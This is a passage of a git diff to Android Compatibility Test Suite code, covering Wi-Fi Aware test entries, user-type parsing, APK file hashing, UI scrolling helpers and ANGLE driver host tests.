adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -203,8 +206,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity {
null));
adapter.add(TestListAdapter.TestListItem.newTest(this,
R.string.aware_subscribe,
- DataPathOpenActiveSubscribeTestActivity.class.getName(),
- new Intent(this, DataPathOpenActiveSubscribeTestActivity.class), null));
+ DataPathOpenActiveSubscribeAcceptAnyTestActivity.class.getName(),
+ new Intent(this, DataPathOpenActiveSubscribeAcceptAnyTestActivity.class),
+ null));
adapter.add(TestListAdapter.TestListItem.newCategory(this,
R.string.aware_dp_ib_passphrase_solicited_accept_any));
adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -214,8 +218,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity {
null));
adapter.add(TestListAdapter.TestListItem.newTest(this,
R.string.aware_subscribe,
- DataPathPassphraseActiveSubscribeTestActivity.class.getName(),
- new Intent(this, DataPathPassphraseActiveSubscribeTestActivity.class), null));
+ DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.class.getName(),
+ new Intent(this, DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.class),
+ null));
adapter.add(TestListAdapter.TestListItem.newCategory(this,
R.string.aware_dp_ib_pmk_solicited_accept_any));
adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -225,8 +230,8 @@ public class TestListActivity extends PassFailButtons.TestListActivity {
null));
adapter.add(TestListAdapter.TestListItem.newTest(this,
R.string.aware_subscribe,
- DataPathPmkActiveSubscribeTestActivity.class.getName(),
- new Intent(this, DataPathPmkActiveSubscribeTestActivity.class), null));
+ DataPathPmkActiveSubscribeAcceptAnyTestActivity.class.getName(),
+ new Intent(this, DataPathPmkActiveSubscribeAcceptAnyTestActivity.class), null));
}
adapter.registerDataSetObserver(new DataSetObserver() {
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index cf92bf70899..ab66ee5d23d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -990,7 +990,6 @@ public final class DeviceState implements TestRule {
UserType forUser,
boolean hasProfileOwner,
boolean profileOwnerIsPrimary) {
- requireFeature("android.software.managed_users", FailureMode.SKIP);
com.android.bedstead.nene.users.UserType resolvedUserType =
requireUserSupported(profileType, FailureMode.SKIP);
@@ -1023,8 +1022,6 @@ public final class DeviceState implements TestRule {
}
private void ensureHasNoProfile(String profileType, UserType forUser) {
- requireFeature("android.software.managed_users", FailureMode.SKIP);
-
UserReference forUserReference = resolveUserTypeToUser(forUser);
com.android.bedstead.nene.users.UserType resolvedProfileType =
sTestApis.users().supportedType(profileType);
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
index 63736259a21..6cc76a2bf78 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
@@ -36,6 +36,7 @@ import java.lang.annotation.Target;
@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@EnsureHasNoProfileAnnotation("android.os.usertype.profile.MANAGED")
+@RequireFeature("android.software.managed_users")
public @interface EnsureHasNoWorkProfile {
/** Which user type the work profile should not be attached to. */
DeviceState.UserType forUser() default CURRENT_USER;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
index 64fe4f1d714..83b2c456eb3 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
@@ -322,7 +322,7 @@ public class AdbUserParser30 extends AdbUserParser26 {
for (String baseType : userTypeString.split("mBaseType: ", 2)[1]
.split("\n")[0].split("\\|")) {
if (!baseType.isEmpty()) {
- userType.mBaseType.add(UserType.BaseType.valueOf(baseType));
+ userType.mBaseType.add(baseType);
}
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
index fde4a0b49d1..fb8522db6de 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
@@ -29,13 +29,16 @@ public final class UserType {
public static final int UNLIMITED = -1;
- public enum BaseType {
- SYSTEM, PROFILE, FULL
+ /** Default base types. */
+ public static final class BaseType {
+ public static final String SYSTEM = "SYSTEM";
+ public static final String PROFILE = "PROFILE";
+ public static final String FULL = "FULL";
}
static final class MutableUserType {
String mName;
- Set<BaseType> mBaseType;
+ Set<String> mBaseType;
Boolean mEnabled;
Integer mMaxAllowed;
Integer mMaxAllowedPerParent;
@@ -51,7 +54,8 @@ public final class UserType {
return mMutableUserType.mName;
}
- public Set<BaseType> baseType() {
+ /** Get the base type(s) of this type. */
+ public Set<String> baseType() {
return mMutableUserType.mBaseType;
}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 4ed65de154c..32e41a17fdc 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -71,6 +71,8 @@ public class PackageDeviceInfo extends DeviceInfo {
private static final String SHA256_CERT = "sha256_cert";
+ private static final String SHA256_FILE = "sha256_file";
+
private static final String CONFIG_NOTIFICATION_ACCESS = "config_defaultListenerAccessPackages";
private static final String HAS_DEFAULT_NOTIFICATION_ACCESS = "has_default_notification_access";
@@ -126,6 +128,9 @@ public class PackageDeviceInfo extends DeviceInfo {
String sha256_cert = PackageUtil.computePackageSignatureDigest(pkg.packageName);
store.addResult(SHA256_CERT, sha256_cert);
+ String sha256_file = PackageUtil.computePackageFileDigest(pkg);
+ store.addResult(SHA256_FILE, sha256_file);
+
store.endGroup();
}
store.endArray(); // "package"
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java
index ae4bec136c7..48d5f30774b 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java
@@ -17,6 +17,7 @@
package com.android.compatibility.common.util;
import android.content.Context;
+import android.hardware.display.DisplayManager;
import android.hardware.hdmi.HdmiControlManager;
import android.view.Display;
@@ -77,4 +78,21 @@ public class DisplayUtil {
return false;
}
+
+ public static int getRefreshRateSwitchingType(DisplayManager displayManager) {
+ return toSwitchingType(displayManager.getMatchContentFrameRateUserPreference());
+ }
+
+ private static int toSwitchingType(int matchContentFrameRateUserPreference) {
+ switch (matchContentFrameRateUserPreference) {
+ case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER:
+ return DisplayManager.SWITCHING_TYPE_NONE;
+ case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY:
+ return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS;
+ case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS:
+ return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS;
+ default:
+ return -1;
+ }
+ }
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
new file mode 100644
index 00000000000..b0ec2e985bc
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Before;
+
+import java.util.List;
+
+/**
+ * Device-side base class for tests to run extra Business Logics in addition to the test-specific
+ * Business Logics.
+ *
+ * Used when running a common set of business logics against several tests.
+ *
+ * Usage:
+ * 1. Implement the common logic in an interface with default methods.
+ * 2. Extend this class and implement the interface.
+ *
+ * Now Business Logics rules and actions can be called from the GCL by using the interface fully
+ * qualified name.
+ */
+public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase implements MultiLogDevice {
+
+ private static final String LOG_TAG = BusinessLogicTestCase.class.getSimpleName();
+
+ protected boolean mDependentOnBusinessLogic = true;
+
+ public abstract List<String> getExtraBusinessLogics();
+
+ @Before
+ @Override
+ public void handleBusinessLogic() {
+ loadBusinessLogic();
+ if (mDependentOnBusinessLogic) {
+ assertTrue(String.format(
+ "Test \"%s\" is unable to execute as it depends on the missing remote "
+ + "configuration.", mTestCase.getMethodName()), mCanReadBusinessLogic);
+ } else if (!mCanReadBusinessLogic) {
+ logInfo(LOG_TAG, "Skipping Business Logic for %s", mTestCase.getMethodName());
+ return;
+ }
+
+ BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(
+ getContext(), this, mBusinessLogic.getRedactionRegexes());
+ for (String extraBusinessLogic : getExtraBusinessLogics()) {
+ if (!mBusinessLogic.hasLogicFor(extraBusinessLogic)) {
+ throw new RuntimeException(String.format(
+ "can't find extra business logic for %s.", extraBusinessLogic));
+ }
+ mBusinessLogic.applyLogicFor(extraBusinessLogic, executor);
+ }
+ executeBusinessLogic();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
new file mode 100644
index 00000000000..dbe5128b7b1
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.util.Log;
+import com.android.compatibility.common.util.MultiLog;
+
+/** Implement the deviceside interface for logging on host+device-common code. */
+public interface MultiLogDevice extends MultiLog {
+ /** {@inheritDoc} */
+ @Override
+ default void logInfo(String logTag, String format, Object... args) {
+ Log.i(logTag, String.format(format, args));
+ }
+
+ /** {@inheritDoc} */
+ @Override
+ default void logDebug(String logTag, String format, Object... args) {
+ Log.d(logTag, String.format(format, args));
+ }
+
+ /** {@inheritDoc} */
+ @Override
+ default void logWarn(String logTag, String format, Object... args) {
+ Log.w(logTag, String.format(format, args));
+ }
+
+ /** {@inheritDoc} */
+ @Override
+ default void logError(String logTag, String format, Object... args) {
+ Log.e(logTag, String.format(format, args));
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 728cbc6a5b5..e289a41e80a 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -19,10 +19,15 @@ package com.android.compatibility.common.util;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
@@ -36,6 +41,7 @@ public class PackageUtil {
private static final int SYSTEM_APP_MASK =
ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+ private static final int READ_BLOCK_SIZE = 1024;
/** Returns true if a package with the given name exists on the device */
public static boolean exists(String packageName) {
@@ -147,6 +153,47 @@ public class PackageUtil {
return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
}
+
+ /**
+ * Compute the file SHA digest for a package.
+ * @param packageInfo the info of the package for which the file SHA digest is requested
+ * @return the file SHA digest
+ */
+ public static String computePackageFileDigest(PackageInfo pkgInfo) {
+ ApplicationInfo applicationInfo;
+ try {
+ applicationInfo = getPackageManager().getApplicationInfo(pkgInfo.packageName, 0);
+ } catch (NameNotFoundException e) {
+ Log.e(TAG, "Exception: " + e);
+ return null;
+ }
+ File apkFile = new File(applicationInfo.publicSourceDir);
+ return computeFileHash(apkFile);
+ }
+
+ private static String computeFileHash(File srcFile) {
+ MessageDigest md;
+ try {
+ md = MessageDigest.getInstance("SHA-256");
+ } catch (NoSuchAlgorithmException e) {
+ Log.e(TAG, "NoSuchAlgorithmException:" + e.getMessage());
+ return null;
+ }
+ String result = null;
+ try (FileInputStream fis = new FileInputStream(srcFile)) {
+ byte[] dataBytes = new byte[READ_BLOCK_SIZE];
+ int nread = 0;
+ while ((nread = fis.read(dataBytes)) != -1) {
+ md.update(dataBytes, 0, nread);
+ }
+ BigInteger bigInt = new BigInteger(1, md.digest());
+ result = String.format("%32s", bigInt.toString(16)).replace(' ', '0');
+ } catch (IOException e) {
+ Log.e(TAG, "IOException:" + e.getMessage());
+ }
+ return result;
+ }
+
private static boolean hasDeviceFeature(final String requiredFeature) {
return InstrumentationRegistry.getContext()
.getPackageManager()
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index e16d7a89823..639c871b74c 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -18,6 +18,8 @@ package com.android.compatibility.common.util;
import static org.junit.Assert.assertNotNull;
+import android.graphics.Rect;
+import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
@@ -28,9 +30,17 @@ import android.support.test.uiautomator.Until;
import androidx.test.InstrumentationRegistry;
+import java.util.regex.Pattern;
+
public class UiAutomatorUtils {
private UiAutomatorUtils() {}
+ /** Default swipe deadzone percentage. See {@link UiScrollable}. */
+ private static final double DEFAULT_SWIPE_DEADZONE_PCT = 0.1;
+
+ private static Pattern sCollapsingToolbarResPattern =
+ Pattern.compile(".*:id/collapsing_toolbar");
+
public static UiDevice getUiDevice() {
return UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
}
@@ -61,15 +71,22 @@ public class UiAutomatorUtils {
boolean isAtEnd = false;
boolean wasScrolledUpAlready = false;
+ boolean scrolledPastCollapsibleToolbar = false;
+
while (view == null && start + timeoutMs > System.currentTimeMillis()) {
view = getUiDevice().wait(Until.findObject(selector), 1000);
if (view == null) {
+ final double deadZone = !(FeatureUtil.isWatch() || FeatureUtil.isTV())
+ ? 0.25 : DEFAULT_SWIPE_DEADZONE_PCT;
UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
- if (!FeatureUtil.isWatch() && !FeatureUtil.isTV()) {
- scrollable.setSwipeDeadZonePercentage(0.25);
- }
+ scrollable.setSwipeDeadZonePercentage(deadZone);
if (scrollable.exists()) {
+ if (!scrolledPastCollapsibleToolbar) {
+ scrollPastCollapsibleToolbar(scrollable, deadZone);
+ scrolledPastCollapsibleToolbar = true;
+ continue;
+ }
if (isAtEnd) {
if (wasScrolledUpAlready) {
return null;
@@ -77,12 +94,44 @@ public class UiAutomatorUtils {
scrollable.scrollToBeginning(Integer.MAX_VALUE);
isAtEnd = false;
wasScrolledUpAlready = true;
+ scrolledPastCollapsibleToolbar = false;
} else {
- isAtEnd = !scrollable.scrollForward();
+ Rect boundsBeforeScroll = scrollable.getBounds();
+ boolean scrollAtStartOrEnd = !scrollable.scrollForward();
+ Rect boundsAfterScroll = scrollable.getBounds();
+ isAtEnd = scrollAtStartOrEnd && boundsBeforeScroll.equals(
+ boundsAfterScroll);
}
+ } else {
+ // There might be a collapsing toolbar, but no scrollable view. Try to collapse
+ scrollPastCollapsibleToolbar(null, deadZone);
}
}
}
return view;
}
+
+ private static void scrollPastCollapsibleToolbar(UiScrollable scrollable, double deadZone)
+ throws UiObjectNotFoundException {
+ final UiObject2 collapsingToolbar = getUiDevice().findObject(
+ By.res(sCollapsingToolbarResPattern));
+ if (collapsingToolbar == null) {
+ return;
+ }
+
+ final int steps = 55; // == UiScrollable.SCROLL_STEPS
+ if (scrollable != null && scrollable.exists()) {
+ final Rect scrollableBounds = scrollable.getVisibleBounds();
+ final int distanceToSwipe = collapsingToolbar.getVisibleBounds().height() / 2;
+ getUiDevice().drag(scrollableBounds.centerX(), scrollableBounds.centerY(),
+ scrollableBounds.centerX(), scrollableBounds.centerY() - distanceToSwipe,
+ steps);
+ } else {
+ // There might be a collapsing toolbar, but no scrollable view. Try to collapse
+ int maxY = getUiDevice().getDisplayHeight();
+ int minY = (int) (deadZone * maxY);
+ maxY -= minY;
+ getUiDevice().drag(0, maxY, 0, minY, steps);
+ }
+ }
}
diff --git a/hostsidetests/accounts/AndroidTest.xml b/hostsidetests/accounts/AndroidTest.xml
index d2676309b28..8603a71ef61 100644
--- a/hostsidetests/accounts/AndroidTest.xml
+++ b/hostsidetests/accounts/AndroidTest.xml
@@ -16,7 +16,7 @@
<configuration description="Config for the CTS accounts host tests">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 794ea69fd05..47ce8e07b5f 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -20,7 +20,6 @@ java_test_host {
name: "CtsAngleIntegrationHostTestCases",
defaults: ["cts_defaults"],
srcs: ["src/**/*.java"],
- java_resource_dirs: ["assets/"],
// tag this module as a cts test artifact
test_suites: [
"cts",
diff --git a/hostsidetests/angle/assets/emptyRules.json b/hostsidetests/angle/assets/emptyRules.json
deleted file mode 100644
index 77fa0c083a4..00000000000
--- a/hostsidetests/angle/assets/emptyRules.json
+++ /dev/null
@@ -1,8 +0,0 @@
-{
- "Rules":[
- {
- "Rule":"Default Rule (i.e. use native driver)",
- "UseANGLE":false
- }
- ]
-}
diff --git a/hostsidetests/angle/assets/enableAngleRules.json b/hostsidetests/angle/assets/enableAngleRules.json
deleted file mode 100644
index 90f4893cb9b..00000000000
--- a/hostsidetests/angle/assets/enableAngleRules.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{
- "Rules":[
- {
- "Rule":"Default Rule (i.e. use native driver)",
- "UseANGLE":false
- },
- {
- "Rule":"Supported application(s) (e.g. Maps on Google devices)",
- "UseANGLE":true,
- "Applications":[
- {
- "AppName":"com.android.angleIntegrationTest.driverTest"
- }
- ]
- }
- ]
-}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 45bb43e7040..e35e2706e38 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -16,6 +16,7 @@
package android.angle.cts;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.PackageInfo;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import java.util.HashMap;
@@ -34,7 +35,6 @@ class CtsAngleCommon {
static final String SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX = "show_angle_in_use_dialog_box";
// System Properties
- static final String PROPERTY_GFX_ANGLE_SUPPORTED = "ro.gfx.angle.supported";
static final String PROPERTY_TEMP_RULES_FILE = "debug.angle.rules";
// Rules File
@@ -43,6 +43,7 @@ class CtsAngleCommon {
static final String DEVICE_TEMP_RULES_FILE_PATH = DEVICE_TEMP_RULES_FILE_DIRECTORY + "/" + DEVICE_TEMP_RULES_FILE_FILENAME;
// ANGLE
+ static final String ANGLE_PACKAGE_NAME = "com.android.angle";
static final String ANGLE_DRIVER_TEST_PKG = "com.android.angleIntegrationTest.driverTest";
static final String ANGLE_DRIVER_TEST_SEC_PKG = "com.android.angleIntegrationTest.driverTestSecondary";
static final String ANGLE_DRIVER_TEST_CLASS = "AngleDriverTestActivity";
@@ -55,7 +56,6 @@ class CtsAngleCommon {
ANGLE_DRIVER_TEST_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
static final String ANGLE_DRIVER_TEST_SEC_ACTIVITY =
ANGLE_DRIVER_TEST_SEC_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
- static final String ANGLE_MAIN_ACTIVTY = "android.app.action.ANGLE_FOR_ANDROID";
enum OpenGlDriverChoice {
DEFAULT,
@@ -104,10 +104,10 @@ class CtsAngleCommon {
setProperty(device, PROPERTY_TEMP_RULES_FILE, "\"\"");
}
- static boolean isAngleLoadable(ITestDevice device) throws Exception {
- String angleSupported = device.getProperty(PROPERTY_GFX_ANGLE_SUPPORTED);
+ static boolean isAngleInstalled(ITestDevice device) throws Exception {
+ PackageInfo info = device.getAppPackageInfo(ANGLE_PACKAGE_NAME);
- return (angleSupported != null) && (angleSupported.equals("true"));
+ return (info != null);
}
static boolean isNativeDriverAngle(ITestDevice device) throws Exception {
@@ -116,12 +116,6 @@ class CtsAngleCommon {
return (driverProp != null) && (driverProp.equals("angle"));
}
- static void startActivity(ITestDevice device, String action) throws Exception {
- // Run the ANGLE activity so it'll clear up any 'default' settings.
- device.executeShellCommand("am start --user " + device.getCurrentUser() +
- " -S -W -a \"" + action + "\"");
- }
-
static void stopPackage(ITestDevice device, String pkgName) throws Exception {
device.executeShellCommand("am force-stop " + pkgName);
}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index 9431088959c..a78f953c2c4 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -62,8 +62,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
setAndValidateAngleDevOptionPkgDriver(pkgName, sDriverGlobalSettingMap.get(driver));
- startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
driver + ") with method '" + sDriverTestMethodMap.get(driver) + "'");
@@ -101,7 +99,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testEnableAngleForAll() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -126,7 +124,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testUseDefaultDriver() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -144,7 +142,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testUseAngleDriver() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -162,7 +160,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testUseNativeDriver() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -180,7 +178,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testSettingsLengthMismatch() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -204,7 +202,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testUseInvalidDriver() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -221,7 +219,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testUpdateDriverValues() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -244,7 +242,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testMultipleDevOptionsAngleNative() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -269,7 +267,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
*/
@Test
public void testMultipleUpdateDriverValues() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeTrue(isAngleInstalled(getDevice()));
Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -288,8 +286,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
sDriverGlobalSettingMap.get(firstDriver));
- startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
firstDriver + ") with method '" + sDriverTestMethodMap.get(firstDriver) + "'");
@@ -302,8 +298,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
sDriverGlobalSettingMap.get(secondDriver));
- startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
secondDriver + ") with method '" + sDriverTestMethodMap.get(secondDriver) + "'");
@@ -311,9 +305,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
ANGLE_DRIVER_TEST_SEC_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
sDriverTestMethodMap.get(secondDriver));
- // Make sure the first PKG's driver value was not modified
- startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
@@ -327,129 +318,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
}
/**
- * Test setting a driver to 'default' does not keep the value in the settings when the ANGLE
- * activity runs and cleans things up.
- */
- @Test
- public void testDefaultNotInSettings() throws Exception {
- Assume.assumeTrue(isAngleLoadable(getDevice()));
-
- // Install the package so the setting isn't removed because the package isn't present.
- installApp(ANGLE_DRIVER_TEST_APP);
-
- setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
